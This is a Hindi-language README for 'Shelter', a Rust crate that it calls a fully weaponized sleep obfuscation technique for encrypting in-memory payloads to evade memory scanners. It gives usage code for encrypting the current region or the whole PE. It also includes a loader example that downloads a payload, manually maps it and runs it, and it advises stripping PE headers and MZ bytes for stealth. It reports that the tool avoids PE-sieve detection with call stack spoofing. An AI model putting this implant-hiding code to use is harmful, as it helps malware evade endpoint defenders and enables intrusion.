
ROP-आधारित स्लीप ऑब्सफस्केशन मेमोरी स्कैनर्स से बचने के लिए
Shelter एक पूरी तरह से हथियारबंद स्लीप ऑबफस्केशन तकनीक है जो आपके इन-मेमोरी पेलोड को पूरी तरह से एन्क्रिप्ट करने की अनुमति देती है, ROP का व्यापक उपयोग करते हुए।
यह क्रेट निम्नलिखित विशेषताओं के साथ आता है:
अपने प्रोजेक्ट में इस क्रेट को आयात करने के लिए अपने cargo.toml में निम्नलिखित पंक्ति जोड़ें:
[dependencies]
shelter = "=0.1.2"
फिर, अपने प्रोजेक्ट को --release मोड पर कंपाइल करें।
इस क्रेट की मुख्य कार्यक्षमता तीन फ़ंक्शनों में लपेटी गई है:
fluctuate() वर्तमान मेमोरी क्षेत्र या पूरे PE को एन्क्रिप्ट करने की अनुमति देता है। इस फ़ंक्शन को अपने आधार पते को गतिशील रूप से प्राप्त करने के लिए PE के MZ बाइट्स की उपस्थिति की आवश्यकता होती है।fluctuate_from_address() पूरी तरह से PE को एन्क्रिप्ट करता है। यह फ़ंक्शन इनपुट पैरामीटर के रूप में PE के आधार पते की अपेक्षा करता है।fluctuate_from_pattern() भी पूरी तरह से PE को एन्क्रिप्ट करता है। यह फ़ंक्शन इनपुट पैरामीटर के रूप में PE के आधार पते को निर्धारित करने के लिए उपयोग करने के लिए दो बाइट्स के एक कस्टम सेट की अपेक्षा करता है। ये कस्टम मैजिक बाइट्स क्लासिक MZ पैटर्न को बदल देते हैं।जब भी पूरा PE एन्क्रिप्ट किया जाता है, मूल सेक्शनों की मेमोरी सुरक्षाएं बाद में उन्हें पुनर्स्थापित करने के लिए हीप में संग्रहीत की जाती हैं।
Shelter सोने के लिए NtWaitForSingleObject का उपयोग करता है। आप कितने सेकंड सोना चाहते हैं, यह इंगित करने के अलावा, आप एक इवेंट हैंडल भी पास कर सकते हैं और टाइमआउट समाप्त होने से पहले वापस आने के लिए किसी भी समय इसे सिग्नल कर सकते हैं (उदाहरण के लिए SetEvent का उपयोग करके)। ध्यान रखें कि यदि आपका पूरा पेलोड एन्क्रिप्टेड है (जो कि मैं समझता हूं कि पूरी बात है), तो आपको इवेंट को सिग्नल करने का एक वैकल्पिक तरीका की आवश्यकता होगी यदि आप अनिश्चित काल तक सोए हैं।
फ़ंक्शन निम्नलिखित पैरामीटर की अपेक्षा करता है:
true पास करने के लिए MZ बाइट्स को मेमोरी में उपस्थित होना आवश्यक है।None पर छोड़ दिया जाता है, तो टाइमआउट अनंत होगा, जिसका अर्थ है कि निष्पादन तब तक वापस नहीं आएगा जब तक कि NtWaitForSingleObject को पास किया गया इवेंट सिग्नल न हो जाए।None हो सकता है। यदि आप इस पैरामीटर और टाइमआउट दोनों को None पर सेट करते हैं तो प्रोग्राम अटक जाएगा।let time_to_sleep = Some(10); // Sleep for 10 seconds
let _ = shelter::fluctuate(false, time_to_sleep, None); // Encrypt only the current memory region
let time_to_sleep = Some(10); // Sleep for 10 seconds
let _ = shelter::fluctuate(true, time_to_sleep, None); // Encrypt the whole PE
pub type CreateEventW = unsafe extern "system" fn (*const SECURITY_ATTRIBUTES, i32, i32, *const u16) -> HANDLE;
let k32 = dinvoke_rs::dinvoke::get_module_base_address("kernel32.dll");
let create_event: CreateEventW;
let event_handle: Option<HANDLE>;
dinvoke_rs::dinvoke::dynamic_invoke!(k32,"CreateEventW",create_event,event_handle,ptr::null_mut(),0,0,ptr::null());
let time_to_sleep = None; // Sleep indefinitely
let _ = shelter::fluctuate(true, time_to_sleep, event_handle); // Encrypt the whole PE until the event is signaled
फ़ंक्शन निम्नलिखित पैरामीटर की अपेक्षा करता है:
None पर छोड़ दिया जाता है, तो टाइमआउट अनंत होगा, जिसका अर्थ है कि निष्पादन तब तक वापस नहीं आएगा जब तक कि NtWaitForSingleObject को पास किया गया इवेंट सिग्नल न हो जाए।None. हो सकता है। यदि आप इस पैरामीटर और टाइमआउट दोनों को None पर सेट करते हैं तो प्रोग्राम अटक जाएगा।इस फ़ंक्शन का उपयोग करने का एक तरीका हमारे पेलोड को Dinvoke_rs से मैन्युअल रूप से मैप करना होगा। इस तरह, लोडर पेलोड को उसका अपना आधार पता भेज सकता है, ताकि पेलोड जब भी आवश्यक हो, इसका उपयोग स्वयं को ऑबफस्केट करने के लिए कर सके। इस तरह, लोडर एक निश्चित स्तर की गुप्तता प्राप्त करने के लिए PE के हेडर को सुरक्षित रूप से हटा सकता है।
लोडर उदाहरण:
let payload: Vec<u8> = your_download_function();
let mut m = dinvoke_rs::manualmap::manually_map_module(payload.as_ptr(), true).unwrap();
println!("The dll is loaded at base address 0x{:x}", m.1);
let dll_exported_function = dinvoke::get_function_address(m.1, "run");
let run: unsafe extern "Rust" fn (usize) = std::mem::transmute(dll_exported_function);
run(m.1 as usize);
पेलोड उदाहरण:
#[no_mangle]
fn run(base_address: usize)
{
...
let time_to_sleep = Some(10); // Sleep for 10 seconds
let _ = shelter::fluctuate_from_address(time_to_sleep, None, base_address); // Encrypt the entire PE from this specific base address
...
}
फ़ंक्शन निम्नलिखित पैरामीटर की अपेक्षा करता है:
None पर छोड़ दिया जाता है, तो टाइमआउट अनंत होगा, जिसका अर्थ है कि निष्पादन तब तक वापस नहीं आएगा जब तक कि NtWaitForSingleObject को पास किया गया इवेंट सिग्नल न हो जाए।None हो सकता है। यदि आप इस पैरामीटर और टाइमआउट दोनों को None पर सेट करते हैं तो प्रोग्राम अटक जाएगा।[u8;2] सरणी जिसमें PE का आधार पता प्राप्त करने के लिए खोजने के लिए कस्टम मैजिक बाइट्स होते हैं।इस फ़ंक्शन को बनाने का उद्देश्य लोडर को PE के हेडर और क्लासिक MZ बाइट्स सहित अन्य हस्ताक्षरों को हटाने की अनुमति देना है। इस तरह, उन बाइट्स को एक कस्टम पैटर्न से बदला जा सकता है जिसे Shelter PE का आधार पता प्राप्त करने के लिए खोजेगा।
let time_to_sleep = Some(10); // Sleep for 10 seconds
let pattern = [0x29,0x07];
let _ = shelter::fluctuate_from_pattern(time_to_sleep, None, pattern); // Encrypt the whole PE using custom pattern as magic bytes
तकनीक के कार्यान्वयन का परीक्षण करने के लिए, मुख्य रूप से PE-sieve का उपयोग किया गया है। डिफ़ॉल्ट रूप से, PE-sieve निष्पादन योग्य मेमोरी क्षेत्रों के भीतर इम्प्लांट की तलाश करता है, जिसका अर्थ है कि केवल वर्तमान मेमोरी क्षेत्र (.text) को ऑबफस्केट करना भी पहचान से बचने के लिए पर्याप्त है:

ध्यान दें कि, चूंकि हम Unwinder का उपयोग कर रहे हैं, कॉल स्टैक स्पूफ किया गया है और इसलिए फ्लैग /threads मैप की गई dll का भी पता नहीं लगाता है।
अब, PE-sieve /data फ्लैग का उपयोग करके गैर-निष्पादन योग्य मेमोरी क्षेत्रों का भी निरीक्षण करने की अनुमति देता है। उपकरण के आधिकारिक दस्तावेज़ीकरण के अनुसार, always पर सेट यह फ्लैग "बहुत सारा शोर/गलत सकारात्मक उत्पन्न कर सकता है"। इसके बावजूद, हमने पूरे PE एन्क्रिप्शन क्षमता की प्रभावशीलता की जांच करने के लिए इसका उपयोग करने का निर्णय लिया, क्योंकि यह PE के डेटा क्षेत्रों को छिपाने की अनुमति देता है जिनमें इन-मेमोरी इम्प्लांट की उपस्थिति के संकेतक हो सकते हैं।

जैसा कि देखा जा सकता है, पहली तस्वीर में दिखाया गया है कि जब PE-sieve गैर-निष्पादन योग्य मेमोरी पेजों को स्कैन करता है, तो केवल .text सेक्शन को ऑबफस्केट करना पर्याप्त नहीं है, क्योंकि कुछ क्षेत्रों में ऐसे स्ट्रिंग हो सकते हैं जो एक DLL की उपस्थिति (MZ, DOS हेडर, सेक्शन नाम, आदि) को प्रकट करते हैं। दूसरी ओर, दूसरी छवि दिखाती है कि Shelter के पूरे PE ऑबफस्केशन तंत्र का उपयोग करके इस समस्या को कैसे हल किया जा सकता है। किसी भी मामले में और PE-sieve के विकी में बताए अनुसार, यह विकल्प बहुत सारे गलत सकारात्मक की ओर ले जाता है क्योंकि हीप में ".data" या "rdata" जैसे स्ट्रिंग की मात्र उपस्थिति पहले से ही संभावित प्रत्यारोपित PE की चेतावनी देती है, भले ही वह मेमोरी से कुछ भी डंप करने में सक्षम न हो (क्योंकि उस क्षेत्र में कोई वास्तविक PE सामग्री नहीं है)।
अंत में, PE-sieve के पास उच्च एन्ट्रॉपी मेमोरी क्षेत्रों की तलाश करके ऑबफस्केटेड इम्प्लांट की उपस्थिति का पता लगाने का एक काफी नया विकल्प है। यह विकल्प (/obfusc) /data के संयोजन में इसमें मौजूद उच्च एन्ट्रॉपी के कारण पेलोड की उपस्थिति का पता लगाने में सक्षम है (हालांकि यह PE को प्राप्त नहीं कर सकता क्योंकि यह पूरी तरह से एन्क्रिप्टेड है):
हालांकि Shelter उपयोग के लिए तैयार है और इसे OPSEC को ध्यान में रखकर विकसित किया गया है, फिर भी कुछ संवर्द्धन हैं जो निकट भविष्य में जोड़े जाएंगे:
BCryptEncrypt/BCryptDecrypt को संबंधित Nt फ़ंक्शन से बदलना।